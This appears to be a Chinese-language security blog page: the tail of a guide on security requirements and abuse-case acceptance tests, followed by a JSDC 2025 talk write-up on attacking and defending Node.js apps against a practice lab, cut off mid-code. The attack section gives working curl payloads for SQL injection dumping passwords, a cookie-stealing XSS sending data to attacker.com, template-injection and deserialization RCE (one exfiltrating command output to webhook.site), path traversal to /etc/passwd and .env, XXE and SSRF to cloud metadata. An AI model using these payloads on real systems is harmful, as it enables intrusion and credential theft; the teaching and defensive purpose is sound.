- 連續登入失敗 5 次,帳號鎖定 15 分鐘。
- 登入失敗訊息統一為「帳號或密碼錯誤」,不得透露哪一項有誤。
- 成功登入後簽發 JWT,有效期限 30 分鐘,Refresh Token 7 天。
- 所有登入行為(成功與失敗)須記錄於 security_log,包含 IP 與 User-Agent。
- 重設密碼連結 30 分鐘後失效,且僅能使用一次。
- 重設密碼後,所有已簽發的 JWT 與 Session 必須失效。

看到差別了嗎?安全需求不是另一份文件,而是功能需求的安全標注


三、從使用者故事到 Abuse Case:學會用攻擊者的腦袋思考

3.1 使用者故事(User Story):正常人怎麼用

使用者故事是敏捷開發中最常見的需求表達方式:

作為一個(角色),我想要(功能),以便(價值)。

例如:

作為一個買家,我想要上傳商品照片,以便賣家能看到我要退貨的商品狀況。

這描述了正常使用者的行為。但在 SSDLC 裡,我們需要多問一個問題:

「如果使用者不正常呢?」

3.2 Abuse Case(濫用案例):壞人怎麼玩

Abuse Case 是使用者故事的邪惡雙胞胎。它的格式是:

作為一個(攻擊者角色),我想要(攻擊行為),以便(惡意目的)。

讓我們用上面的退貨照片功能來示範:

使用者故事(正常) Abuse Case(攻擊)
作為買家,我想上傳商品照片 作為攻擊者,我想上傳一個偽裝成 .jpg 的 PHP 後門程式
作為買家,我想上傳多張照片 作為攻擊者,我想上傳 1000 張超大檔案,癱瘓伺服器
作為買家,我想在退貨說明中輸入文字 作為攻擊者,我想在說明欄注入 <code><script></code> 竊取賣家 Cookie
作為買家,我想查看自己的退貨紀錄 作為攻擊者,我想修改 URL 中的 ID 查看別人的退貨紀錄

這就是 Abuse Case 的威力——它逼你站在攻擊者的角度,思考每一個功能可能被如何濫用。

3.3 實戰演練:為常見功能寫 Abuse Case

讓我們用台灣常見的應用場景來練習:

功能:線上轉帳

正常使用者故事 Abuse Case
作為用戶,我想轉帳給朋友 作為攻擊者,我想竄改轉帳金額或收款帳號(MITM)
作為用戶,我想查看轉帳明細 作為攻擊者,我想透過 IDOR 查看他人轉帳明細
作為用戶,我想設定常用帳號 作為攻擊者,我想透過 CSRF 讓受害者新增我的帳號為常用帳號

功能:商品評論

正常使用者故事 Abuse Case
作為買家,我想留下商品評論 作為攻擊者,我想在評論中植入 Stored XSS
作為買家,我想上傳評論附圖 作為攻擊者,我想透過圖片的 EXIF 資訊進行 XXE 攻擊
作為店家,我想回覆評論 作為競爭對手,我想用機器人大量灌入負面評論

飛飛觀點:
每寫一條使用者故事,就寫至少兩條 Abuse Case。
這不是悲觀,這是專業。
消防員不會因為「覺得不會失火」就不帶滅火器。


四、安全驗收標準:讓安全需求「可測試」

安全需求寫得再漂亮,如果沒辦法驗證,就只是一句美麗的口號。

安全驗收標準就是把模糊的安全需求,轉化成可以回答「是或否」的測試條件。

4.1 從模糊到精確

模糊的安全需求(不好) 精確的安全驗收標準(好)
密碼要夠強 密碼至少 12 碼,包含大寫、小寫、數字、特殊符號各至少一個
要防止暴力破解 同一帳號連續 5 次登入失敗,鎖定 15 分鐘;同一 IP 每分鐘最多嘗試 10 次
資料要加密 靜態資料使用 AES-256 加密;傳輸中資料使用 TLS 1.2 以上
要有權限控制 一般用戶無法存取 <code>/admin/*</code> 路徑;API 回應中不包含其他用戶的資料
要記錄日誌 登入成功/失敗、權限變更、資料匯出等操作須記錄,日誌保留 90 天

4.2 安全驗收標準的寫法公式

每一條安全驗收標準都應該包含三個要素:

【Given】在什麼情境下
【When】發生什麼事
【Then】系統應該怎麼回應

這就是 BDD(Behavior-Driven Development)的 Given-When-Then 格式,但我們把它用在安全情境上。

範例:防止暴力破解

Scenario: 帳號鎖定機制
  Given 使用者 "test@example.com" 存在於系統中
  When 連續以錯誤密碼嘗試登入 5 次
  Then 系統應回傳「帳號已暫時鎖定,請 15 分鐘後再試」
  And 第 6 次即使輸入正確密碼也應拒絕登入
  And security_log 中應記錄 5 次失敗紀錄與鎖定事件

範例:防止越權存取(IDOR)

Scenario: 使用者無法查看他人訂單
  Given 使用者 A 已登入,擁有訂單 #1001
  And 使用者 B 擁有訂單 #1002
  When 使用者 A 嘗試存取 GET /api/orders/1002
  Then 系統應回傳 HTTP 403 Forbidden
  And 回應內容不得包含訂單 #1002 的任何資料

範例:防止 SQL Injection

Scenario: 搜尋功能抵擋 SQL Injection
  Given 系統提供商品搜尋 API
  When 使用者在搜尋欄輸入 "' OR 1=1; --"
  Then 系統應正常回傳空結果或無匹配商品
  And 不得回傳資料庫錯誤訊息
  And 不得回傳非預期的大量資料

範例:敏感資料處理

Scenario: API 不洩露密碼欄位
  Given 使用者 A 已登入
  When 使用者 A 存取 GET /api/users/me
  Then 回應 JSON 不得包含 "password" 欄位
  And 回應 JSON 不得包含 "password_hash" 欄位
  And 身分證字號應以遮蔽格式回傳(如 A123****89)

4.3 針對 Abuse Case 撰寫驗收標準

還記得前面的 Abuse Case 嗎?每一條 Abuse Case 都應該對應至少一條安全驗收標準:

Abuse Case:攻擊者上傳偽裝的後門程式

Scenario: 檔案上傳安全驗證
  Given 系統提供圖片上傳功能
  When 使用者上傳一個副檔名為 .jpg 但內容為 PHP 的檔案
  Then 系統應拒絕上傳並回傳「檔案格式不支援」
  And 系統不得僅依副檔名判斷檔案類型,須驗證 MIME Type 與 Magic Number
  And 上傳的檔案須經過 ClamAV 掃描
  And 檔案須儲存於非 Web 可直接存取的目錄

Abuse Case:攻擊者透過評論植入 XSS

Scenario: 商品評論防禦 XSS
  Given 系統提供商品評論功能
  When 使用者在評論中輸入 "<script>alert('XSS')</script>"
  Then 評論應正常儲存,但顯示時 HTML 標籤須被轉義
  And 頁面不得執行任何注入的 JavaScript
  And Content-Security-Policy Header 應限制 inline script 執行

五、安全需求規格書的完整模板

把前面學到的觀念整合起來,以下是一個完整的安全需求規格模板。你可以直接用在你的專案中:

# [功能名稱] 安全需求規格

## 1. 功能概述
- 簡短描述這個功能做什麼

## 2. 使用者故事
- 作為 [角色],我想要 [功能],以便 [價值]

## 3. Abuse Cases(濫用情境)
| 編號 | 攻擊者角色 | 攻擊行為 | 惡意目的 | 風險等級 |
|------|-----------|---------|---------|---------|
| AC-01 | 外部攻擊者 | ... | ... | 高/中/低 |
| AC-02 | 惡意用戶 | ... | ... | 高/中/低 |

## 4. 安全需求
### 4.1 認證與授權
- 此功能需要哪種認證?(JWT / Session / API Key)
- 哪些角色可以使用?(Admin / User / Guest)

### 4.2 輸入驗證
- 各欄位的驗證規則(型態、長度、格式、白名單)
- 伺服器端驗證(必須,不能只靠前端)

### 4.3 資料保護
- 哪些欄位是敏感資料?如何加密或遮蔽?
- 傳輸過程是否強制 HTTPS?

### 4.4 錯誤處理
- 錯誤訊息是否避免洩露系統內部資訊?
- 是否有統一的錯誤回應格式?

### 4.5 日誌與稽核
- 哪些操作需要記錄?
- 日誌中是否排除敏感資料(密碼、Token)?

### 4.6 速率限制
- API 是否設定 Rate Limit?
- 閾值是多少?超過時如何回應?

## 5. 安全驗收標準
| 編號 | 對應 Abuse Case | 驗收條件 (Given-When-Then) | 測試方式 |
|------|----------------|--------------------------|---------|
| SAC-01 | AC-01 | Given...When...Then... | 自動化/手動 |
| SAC-02 | AC-02 | Given...When...Then... | 自動化/手動 |

## 6. 相關法規與標準
- 個資法適用條款
- OWASP Top 10 對應項目
- 產業特定規範(如金管會、衛福部)

六、實戰案例:台灣電商網站的退貨功能

讓我們用一個完整的案例,把前面學到的所有觀念串起來。

功能概述

某台灣電商平台要開發「線上退貨申請」功能,買家可以在訂單頁面申請退貨,上傳商品照片,填寫退貨原因,系統自動計算退款金額。

使用者故事

作為買家,我想要在線上申請退貨並上傳商品照片,以便不用跑實體店面就能完成退貨。
作為客服,我想要審核退貨申請與照片,以便判斷是否符合退貨條件。
作為系統,退貨通過後自動計算退款金額並退回原付款方式。

Abuse Cases

編號 攻擊者角色 攻擊行為 惡意目的 風險等級
AC-01 惡意買家 竄改退貨 API 的訂單金額參數 取得超額退款
AC-02 外部攻擊者 上傳偽裝成圖片的 Web Shell 取得伺服器控制權
AC-03 惡意買家 修改 URL 中的訂單 ID 查看/操作他人退貨申請 竊取他人個資或干擾退貨流程
AC-04 外部攻擊者 在退貨原因欄位植入 XSS Payload 竊取客服人員的 Session Cookie
AC-05 惡意買家 對退貨 API 發送大量請求 造成系統負載過重、阻斷服務
AC-06 惡意買家 重複提交同一筆退貨申請 取得多次退款

安全需求

認證與授權:

  • 退貨 API 須驗證 JWT Token,且 Token 中的 <code>user_id</code> 需與訂單所有者一致。
  • 客服審核 API 需驗證角色為 <code>customer_service</code> 或 <code>admin</code>。
  • 退款金額由後端根據訂單資料庫計算,前端傳送的金額參數不得採信。

輸入驗證:

  • 退貨原因文字限 500 字以內,禁止 HTML 標籤。
  • 上傳照片僅接受 .jpg、.png,單檔上限 5MB,最多 5 張。
  • 照片須驗證 MIME Type 與 Magic Number,禁止副檔名偽裝。

資料保護:

  • API 回應中,買家僅能看到自己的退貨申請。
  • 退貨紀錄中的付款資訊以遮蔽格式顯示(如信用卡 <code>**** **** **** 1234</code>)。

日誌與稽核:

  • 記錄每筆退貨申請的建立、審核、退款操作。
  • 日誌中不得包含完整信用卡號或 CVV。

速率限制:

  • 同一用戶每小時最多提交 3 筆退貨申請。
  • 同一 IP 每分鐘最多 30 次 API 請求。

冪等性設計:

  • 退貨申請使用唯一的冪等鍵(Idempotency Key),防止重複提交導致多次退款。

安全驗收標準

# SAC-01:防止退款金額竄改(對應 AC-01)
Scenario: 後端計算退款金額,忽略前端參數
  Given 訂單 #2001 的實際金額為 NT$1,500
  When 攻擊者在退貨 API 請求中將 refund_amount 改為 15,000
  Then 系統應根據資料庫的訂單金額計算退款為 NT$1,500
  And 忽略請求中的 refund_amount 參數

# SAC-02:防止惡意檔案上傳(對應 AC-02)
Scenario: 拒絕偽裝成圖片的惡意檔案
  Given 系統提供退貨照片上傳功能
  When 攻擊者上傳副檔名為 .jpg 但內容為 PHP 的檔案
  Then 系統應拒絕上傳並回傳錯誤
  And 上傳的檔案不得被存放於 Web Root 目錄下

# SAC-03:防止越權存取(對應 AC-03)
Scenario: 使用者無法操作他人的退貨申請
  Given 買家 A 的退貨申請編號為 #R-5001
  When 買家 B 嘗試存取 GET /api/returns/R-5001
  Then 系統應回傳 HTTP 403
  And 回應中不得包含退貨申請 #R-5001 的任何資料

# SAC-04:防止 XSS 攻擊(對應 AC-04)
Scenario: 退貨原因欄位防禦 XSS
  Given 買家在退貨原因中輸入 "<img src=x onerror=alert(1)>"
  When 客服人員查看此退貨申請
  Then 頁面上應顯示轉義後的純文字,不得執行 JavaScript
  And HTTP Response 包含 Content-Security-Policy Header

# SAC-05:防止重複退款(對應 AC-06)
Scenario: 冪等鍵防止重複退貨申請
  Given 買家對訂單 #2001 提交退貨申請,冪等鍵為 "abc-123"
  When 買家使用相同冪等鍵再次提交退貨申請
  Then 系統應回傳第一次申請的結果
  And 資料庫中僅存在一筆退貨申請

七、將安全需求融入團隊日常的實務建議

知道怎麼寫是一回事,讓團隊真的去寫又是另一回事。以下是讓安全需求規格書真正落地的務實做法:

第一步:在 Sprint Planning 加入「安全腦暴」環節

每次 Sprint Planning 討論新功能時,花 10 分鐘做 Abuse Case 腦力激盪。規則很簡單——每個人輪流說一句「作為攻擊者,我會…」,不管多天馬行空都記下來,之後再過濾優先順序。

這個環節的重點不是找到所有攻擊,而是培養團隊用攻擊者角度思考的習慣。就像武術訓練不是為了打架,而是讓身體記住防禦的反射。

第二步:建立安全需求 Checklist

不是每個功能都需要從零開始想安全需求。準備一份 Checklist,讓開發者對照確認:

□ 此功能是否涉及使用者認證?→ 確認認證機制
□ 此功能是否接受使用者輸入?→ 定義輸入驗證規則
□ 此功能是否處理敏感資料?→ 確認加密與遮蔽方式
□ 此功能是否有檔案上傳?→ 定義檔案類型與大小限制
□ 此功能是否涉及金流?→ 確認冪等性與金額驗證
□ 此功能是否有權限區分?→ 定義各角色的存取範圍
□ 此功能是否對外暴露 API?→ 定義 Rate Limit 與認證方式
□ 此功能的錯誤訊息是否可能洩露系統資訊?→ 定義錯誤回應格式

第三步:讓安全驗收標準成為 Definition of Done 的一部分

在團隊的 Definition of Done(DoD)中加入:

✅ 功能需求已完成
✅ 單元測試通過
✅ Code Review 通過
✅ 安全需求已定義且通過審查    ← 加這個
✅ 安全驗收標準測試通過        ← 加這個

當安全驗收標準成為「完成的定義」之一,團隊就不會把它當成「有空再做」的事了。

第四步:自動化安全驗收測試

很多安全驗收標準可以寫成自動化測試,整合進 CI/CD Pipeline:

// 使用 Jest + Supertest 測試安全驗收標準
describe('SAC-03: 防止越權存取', () => {
  it('使用者無法查看他人退貨申請', async () => {
    // Given: 買家 B 的 Token
    const tokenB = await loginAs('buyer_b@example.com');

    // When: 嘗試存取買家 A 的退貨申請
    const response = await request(app)
      .get('/api/returns/R-5001')
      .set('Authorization', <code class="kb-btn">Bearer ${tokenB}</code>);

    // Then: 應回傳 403
    expect(response.status).toBe(403);
    expect(response.body).not.toHaveProperty('refund_amount');
    expect(response.body).not.toHaveProperty('reason');
  });
});

describe('SAC-04: 防止 XSS', () => {
  it('退貨原因中的 HTML 標籤應被轉義', async () => {
    const token = await loginAs('buyer_a@example.com');
    const maliciousInput = '<script>alert("XSS")</script>';

    // When: 提交含有 XSS payload 的退貨申請
    const createResponse = await request(app)
      .post('/api/returns')
      .set('Authorization', <code class="kb-btn">Bearer ${token}</code>)
      .send({ order_id: '2001', reason: maliciousInput });

    // Then: 讀取時應為轉義後的文字
    const getResponse = await request(app)
      .get(<code class="kb-btn">/api/returns/${createResponse.body.id}</code>)
      .set('Authorization', <code class="kb-btn">Bearer ${token}</code>);

    expect(getResponse.body.reason).not.toContain('<script>');
  });
});

八、常見問題 FAQ

Q1:每個功能都要寫 Abuse Case 嗎?不會太花時間?

不需要每個功能都寫到鉅細靡遺。建議根據風險等級來決定深度:

風險等級 功能類型 Abuse Case 深度
涉及金流、個資、認證、檔案上傳 完整 Abuse Case + 安全驗收標準
涉及使用者輸入、API 對外暴露 至少 2-3 條 Abuse Case
純展示性頁面、靜態內容 快速 Checklist 確認即可

重點不是寫多少,而是養成思考的習慣

Q2:我不是資安專家,怎麼知道該防什麼?

你不需要是資安專家。參考以下資源就能涵蓋八成以上的常見威脅:

  • OWASP Top 10:每個 Web 開發者都該知道的十大風險
  • OWASP ASVS(Application Security Verification Standard):更詳細的安全驗證標準
  • OWASP Cheat Sheet Series:各種安全主題的防禦速查表

從這些資源出發,對照你的功能,就能列出大部分需要防範的攻擊。

Q3:安全需求跟功能需求衝突怎麼辦?

最常見的衝突是「使用者體驗 vs. 安全性」。例如:密碼太複雜使用者記不住,二次驗證太麻煩使用者不想用。

解法是根據風險等級做分級

  • 轉帳、修改密碼等高風險操作:安全優先,即使犧牲些便利性
  • 瀏覽商品、加入購物車等低風險操作:體驗優先,安全在背景進行

安全和體驗不是非此即彼,而是在不同情境下找到合適的平衡點。

Q4:既有的舊專案怎麼補寫安全需求?

不要試圖一次補完所有功能的安全需求。建議的優先順序:

  1. 最先補:處理金流、個資的功能
  2. 其次補:對外暴露的 API、認證相關功能
  3. 再其次:有使用者輸入的功能
  4. 最後補:內部工具、管理後台

每次迭代時,順帶補上你正在修改的功能的安全需求,逐步累積。


九、結語:安全需求不是額外工作,是需求的完整表達

很多開發者把安全需求當成「額外的負擔」,但換個角度想——你寫的功能需求說「使用者可以登入」,卻沒說密碼怎麼存,這其實是需求不完整,不是安全問題。

安全需求規格書的本質,是讓需求從「能用」進化到「能安全地用」

就像建築師不會只畫出房間的位置而不標示防火通道和逃生路線,軟體工程師也不應該只定義功能而不定義防護。

從今天開始,每寫一條使用者故事,就多問自己一句:

「如果攻擊者看到這個功能,他會怎麼做?」

這個習慣,就是安全需求的起點。


延伸閱讀

[Conf] 001 從攻擊到防禦:Node.js 網站安全與滲透測試實戰指南

本文整理自 JSDC 2025(JavaScript Developer Conference) 演講「從攻擊到防禦:系統化學習網站安全與滲透測試的實戰思維」,講者為林子婷(飛飛)。文章包含完整的攻擊 Payload 與實作環境,供讀者實際練習。

活動資訊:JSDC 2025 | 2025/11/29 | https://2025.jsdc.tw

前言

當我們在做滲透測試的時候,第一步永遠是資訊收集。有一次我在測試一個網站時,發現 HTTP Response 中出現了這樣的內容:

X-Powered-By: Express
Server: nginx/1.18.0 (Ubuntu)

這告訴我兩件事:後端是 Node.js(Express 框架),伺服器是 Nginx。

但知道這是 Node.js,真的改變了什麼嗎?

這個問題貫穿了整場演講,也是本文想要探討的核心。


實驗環境

本文所有攻擊都可以在以下環境中實際練習:

⚠️ 警告:請僅在授權的測試環境中練習,切勿對未經授權的系統進行測試。


第一部分:攻擊者視角

一、識別 Node.js 的方法

在開始攻擊之前,我們需要先確認目標的技術。以下是識別 Node.js 的幾種方法:

1.1 HTTP Response Headers

curl -I https://nodelab.feifei.tw

觀察回應中的:

  • X-Powered-By: Express — 最直接的線索
  • Server: nginx — 配合其他線索判斷

1.2 Cookie 命名慣例

打開瀏覽器開發者工具 → Application → Cookies,觀察:

  • connect.sid — Express Session 的預設名稱

1.3 錯誤訊息洩漏

故意觸發錯誤,觀察 Stack Trace 中是否包含:

  • node_modules
  • at Object.<anonymous>
  • Express 相關路徑

1.4 使用 Wappalyzer

安裝瀏覽器擴充套件 Wappalyzer,它會自動分析並顯示網站使用的技術。


二、通用漏洞(與語言無關)

以下漏洞無論後端是什麼語言都會測試,佔滲透測試發現漏洞的 60-70%

2.1 SQL Injection

Lab 路徑https://nodelab.feifei.tw/api/articles/

漏洞程式碼

// 不安全的寫法 - 字串拼接
const query = SELECT * FROM articles WHERE id = ${req.params.id};

攻擊流程

Step 1:探測漏洞

curl "https://nodelab.feifei.tw/api/articles/'"

如果回傳詳細錯誤訊息,表示可能存在 SQL Injection。

Step 2:確定欄位數量(ORDER BY)

# 測試 ORDER BY 1 到 ORDER BY 7
curl "https://nodelab.feifei.tw/api/articles/1 ORDER BY 6-- -"  # 成功
curl "https://nodelab.feifei.tw/api/articles/1 ORDER BY 7-- -"  # 失敗
# 結論:有 6 個欄位

Step 3:取得資料庫版本

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,version(),null,null,null,null-- -"

Step 4:列出所有資料表

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(table_name,','),null,null,null,null FROM information_schema.tables WHERE table_schema='public'-- -"

Step 5:取得 users 表的欄位

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(column_name,','),null,null,null,null FROM information_schema.columns WHERE table_name='users'-- -"

Step 6:取得帳號密碼

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(username||':'||password,','),null,null,null,null FROM users-- -"

預期結果

test:password123,admin:secret1

2.2 XSS(跨站腳本攻擊)

反射型 XSS

Lab 路徑https://nodelab.feifei.tw/search

漏洞程式碼

app.get('/search', (req, res) => {
  const keyword = req.query.keyword;
  res.send(你搜尋的關鍵字是:${keyword});  // 直接輸出,未轉義
});

攻擊 Payload

https://nodelab.feifei.tw/search?keyword=<script>alert('XSS')</script>

竊取 Cookie 的 Payload

https://nodelab.feifei.tw/search?keyword=<img src=x onerror="new Image().src=' https://attacker.com/?c='+document.cookie">
DOM-based XSS

Lab 路徑https://nodelab.feifei.tw/form

測試 Payload

類型 Payload 預期結果
HTML 注入 <h1>這是標題</h1> 顯示為 H1 標題
CSS 注入 <style>body{background:red}</style> 背景變紅
JS 注入 <script>alert(‘XSS’)</script> 彈出對話框

2.3 JWT 誤用

Lab 路徑https://nodelab.feifei.tw/api/auth/login

漏洞程式碼

// 絕對不要這樣寫!
const token = jwt.sign({
  id: user.id,
  username: user.username,
  password: user.password  // 密碼放進 JWT!
}, secretKey);

💬 講者原話:「大家不要笑,這些全部都是真實的案例。」

這不是虛構的教學範例,而是在實際滲透測試中真的遇到過的情況。

攻擊方式

  1. 取得 JWT Token

    curl -X POST https://nodelab.feifei.tw/api/auth/login \
    -H "Content-Type: application/json" \
    -d '{"username":"test","password":"password123"}'
  2. 解碼 JWT(到 https://jwt.io

    • JWT 中間部分是 Base64 編碼
    • 解碼後可能看到明文密碼

2.4 敏感資料洩露

Lab 路徑https://nodelab.feifei.tw/api/users

漏洞程式碼

app.get('/api/users/:id', async (req, res) => {
  const user = await User.findById(req.params.id);
  res.json(user);  // 直接回傳整個物件,包含密碼
});

💬 講者原話:「這個東西在什麼時候會出現?Vibe Coding 的時候。」

「所以這時候 API 就會洩露密碼,所有東西全部都列出來,完整的非常貼心,還整理好了,直接打包送給駭客。」

請在座各位不要這樣寫,如果今天你在用 Vibe Coding,請務必確認一下有沒有這樣寫。

為什麼 Vibe Coding 容易出現這個問題?

當你用 AI 快速生成 CRUD API 時,AI 為了「方便」會直接回傳整個資料庫物件,而不會特別過濾敏感欄位。如果開發者沒有仔細檢查,這些程式碼就會直接上線。

攻擊方式

curl https://nodelab.feifei.tw/api/users/1

可能的回傳

{
  "id": 1,
  "username": "admin",
  "email": "admin@example.com",
  "password": "hashed_password_here",
  "created_at": "2024-01-01"
}

2.5 SSRF(伺服器端請求偽造)

Lab 路徑https://nodelab.feifei.tw/fetch

漏洞程式碼

app.get('/fetch', async (req, res) => {
  const { url } = req.query;
  const response = await axios.get(url);  // 直接請求使用者提供的 URL
  res.json(response.data);
});

攻擊 Payload

存取內部 API

curl "https://nodelab.feifei.tw/fetch?url=https://internal-api:4000/api/sensitive"

讀取本機檔案(如果支援 file 協定):

curl "https://nodelab.feifei.tw/fetch?url=file:///etc/passwd"

存取雲端 Metadata(AWS/GCP):

curl "https://nodelab.feifei.tw/fetch?url=https://169.254.169.254/latest/meta-data/"

💬 講者原話:「裡面有什麼?有你雲端上面的 Token、API Key 等等,這些是非常危險的。所以哪天你發現你家的 AWS 帳單暴增,看一下有沒有類似的問題。

真實案例場景

攻擊者透過 SSRF 取得 AWS Metadata 中的 IAM Role Token 後,可以:

  1. 啟動大量 EC2 實例進行挖礦
  2. 存取 S3 Bucket 中的敏感資料
  3. 修改安全群組設定
  4. 建立新的 IAM 使用者作為後門

這就是為什麼很多公司會突然收到巨額的雲端帳單。


三、Node.js 特定漏洞

以下漏洞是 Node.js 特有的,佔發現漏洞的 20-30%,但往往可以導致 RCE(遠端程式碼執行)

3.1 SSTI(伺服器端模板注入)

Lab 路徑

模板引擎 URL
JsRender https://nodelab.feifei.tw/ssti/JsRender-demo
PugJS https://nodelab.feifei.tw/ssti/PugJS-demo
Nunjucks https://nodelab.feifei.tw/ssti/Nunjucks-demo
Step 1:確認 SSTI 漏洞存在

JsRender

curl -X POST https://nodelab.feifei.tw/ssti/JsRender-demo \
  -H "Content-Type: application/json" \
  -d '{"payload":"{{:7*7}}"}'
# 預期結果:49

PugJS

curl -X POST https://nodelab.feifei.tw/ssti/PugJS-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"#{7*7}"}'
# 預期結果:49

Nunjucks

curl -X POST https://nodelab.feifei.tw/ssti/Nunjucks-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"{{7*7}}"}'
# 預期結果:49
Step 2:RCE 攻擊

💬 講者原話:「攻擊者可以嘗試執行系統的指令。這是搭配 Node.js 裡面的特性,還有各式各樣的內容。如果你看不懂沒有關係,回去可以拍起來,然後用 AI,反正現在 AI 都會幫你寫攻擊 Payload。」

你不要覺得 AI 有攻擊的倫理道德,沒有,完全沒有。

「你說『這個語法要怎麼寫,幫我把這個攻擊語法拼接出來』,它就會給你。」

JsRender – 讀取 /etc/passwd

curl -X POST https://nodelab.feifei.tw/ssti/JsRender-demo \
  -H "Content-Type: application/json" \
  -d '{"payload":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('"'"'child_process'"'"').execSync('"'"'cat /etc/passwd'"'"').toString()\")()}}"}'

PugJS – 建立檔案

curl -X POST https://nodelab.feifei.tw/ssti/PugJS-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad('"'"'child_process'"'"').exec('"'"'touch /tmp/pwned.txt'"'"')}()}"}'

Nunjucks – 讀取 /etc/passwd

curl -X POST https://nodelab.feifei.tw/ssti/Nunjucks-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"{{range.constructor(\"return global.process.mainModule.require('"'"'child_process'"'"').execSync('"'"'cat /etc/passwd'"'"')\")()}}"}'

⚠️ 講者提醒:「對於白帽駭客、資安工程師來講,我們測試到這樣就好了。但如果是一個黑帽駭客,就是你所謂聽過一些邪惡的駭客,他可能就會下 rm -rf / 之類的。有一些駭客就是基於『好好玩有趣』,請不要在你家公司內部這樣下,會出大事。


3.2 不安全的反序列化

Lab 路徑https://nodelab.feifei.tw/api/serialize

漏洞程式碼

const serialize = require('node-serialize');

app.post('/api/serialize', (req, res) => {
  const data = serialize.unserialize(req.body);  // 危險!
  res.json(data);
});

攻擊 Payload

基本測試

curl -X POST https://nodelab.feifei.tw/api/serialize \
  -H "Content-Type: application/json" \
  -d '{"key":"value"}'

RCE – Console.log

curl -X POST https://nodelab.feifei.tw/api/serialize \
  -H "Content-Type: application/json" \
  -d '{"rce":"_$$ND_FUNC$$_function(){console.log(\"RCE successful\");}()"}'

RCE – 讀取系統資訊(Out-of-Band)

# 先到 webhook.site 取得你的 URL
curl -X POST https://nodelab.feifei.tw/api/serialize \
  -H "Content-Type: application/json" \
  -d '{"rce":"_$$ND_FUNC$$_function(){const  https=require(\" https\");const {execSync}=require(\"child_process\");const result=execSync(\"uname -a\").toString();const options={hostname:\"webhook.site\",port:443,path:\"/YOUR-UUID\",method:\"POST\"};const req= https.request(options);req.write(result);req.end();return {}}()"}'

3.3 Prototype Pollution(原型污染)

概念說明

JavaScript 的所有物件都繼承自 Object.prototype。如果攻擊者能夠修改 Object.prototype,就會影響所有物件。

漏洞程式碼

function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      target[key] = merge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

攻擊 Payload

{
  "__proto__": {
    "isAdmin": true
  }
}

影響

const user = {};
console.log(user.isAdmin);  // true(被污染了!)

3.4 Path Traversal(路徑穿越)

Lab 路徑https://nodelab.feifei.tw/api/pathTraversal

漏洞程式碼

app.get('/api/pathTraversal', (req, res) => {
  const filename = req.query.filename;
  const content = fs.readFileSync(./upload/${filename}, 'utf8');
  res.send(content);
});

攻擊 Payload

正常存取

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=test.txt"

讀取 /etc/passwd

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../../../../etc/passwd"

讀取環境變數

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../../../../proc/self/environ"

讀取程式碼

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../server.js"
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=/../.env"

3.5 Cache Pollution(快取污染)

Lab 路徑https://nodelab.feifei.tw/api/cache

攻擊流程

Step 1:清除快取

curl https://nodelab.feifei.tw/api/cache/flush

Step 2:確認快取為空

curl https://nodelab.feifei.tw/api/cache/getallvalue

Step 3:注入惡意腳本

curl -H "User-Agent: <script>alert('Hacked')</script>" \
  https://nodelab.feifei.tw/api/cache/

Step 4:檢查快取內容

curl https://nodelab.feifei.tw/api/cache/getallvalue

3.6 XXE(XML 外部實體注入)

Lab 路徑https://nodelab.feifei.tw/load_xml

攻擊 Payload

curl -X POST https://nodelab.feifei.tw/load_xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>'

第二部分:防禦者視角

四、Express 框架安全加固

4.1 使用 Helmet

const helmet = require('helmet');
app.use(helmet());

Helmet 會自動設定多個安全標頭:

  • Content-Security-Policy
  • X-Content-Type-Options: nosniff
  • X-Frame-Options: DENY
  • X-XSS-Protection

4.2 隱藏技術資訊

app.disable('x-powered-by');

4.3 修改 Session 名稱

app.use(session({
  name: 'sessionId',  // 不要用預設的 connect.sid
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpsOnly: true,
    secure: true,
    sameSite: 'strict'
  }
}));

💬 講者原話:「不要用預設的名字,你可以改成 sessionId,或是有些工程師會把它改成很像 PHP 的樣子。」

「這是一些『想要玩駭客的方法』,但不建議,因為你的主管朋友會問你說『你為什麼要這麼改?』然後你沒有辦法說服他。這樣子你可以叫他來聽我的議程。」

偽裝成其他技術(不建議,但有趣):

app.use(session({
  name: 'PHPSESSID',  // 偽裝成 PHP
  // ...
}));

4.4 輸入驗證

const { body, validationResult } = require('express-validator');

app.post('/api/user',
  body('email').isEmail().normalizeEmail(),
  body('password').isLength({ min: 12 }),
  body('username').trim().escape(),
  (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    // 處理請求...
  }
);

五、防禦特定漏洞

5.1 防禦 SQL Injection

// 使用參數化查詢
const { rows } = await db.query(
  'SELECT * FROM articles WHERE id = $1',
  [req.params.id]
);

// 或使用 ORM(Sequelize)
const article = await Article.findByPk(req.params.id);

5.2 防禦 XSS

const he = require('he');
const sanitizeHtml = require('sanitize-html');
const createDOMPurify = require('dompurify');

// 方法一:HTML 實體編碼
const safe = he.encode(userInput);

// 方法二:HTML 清理
const clean = sanitizeHtml(userInput);

// 方法三:DOMPurify
const purified = DOMPurify.sanitize(userInput);

5.3 防禦 Prototype Pollution

// 方法一:使用沒有原型的物件
const safeObject = Object.create(null);

// 方法二:凍結原型
Object.freeze(Object.prototype);

// 方法三:過濾危險屬性
function safeAssign(target, source) {
  const dangerous = ['__proto__', 'constructor', 'prototype'];
  for (let key in source) {
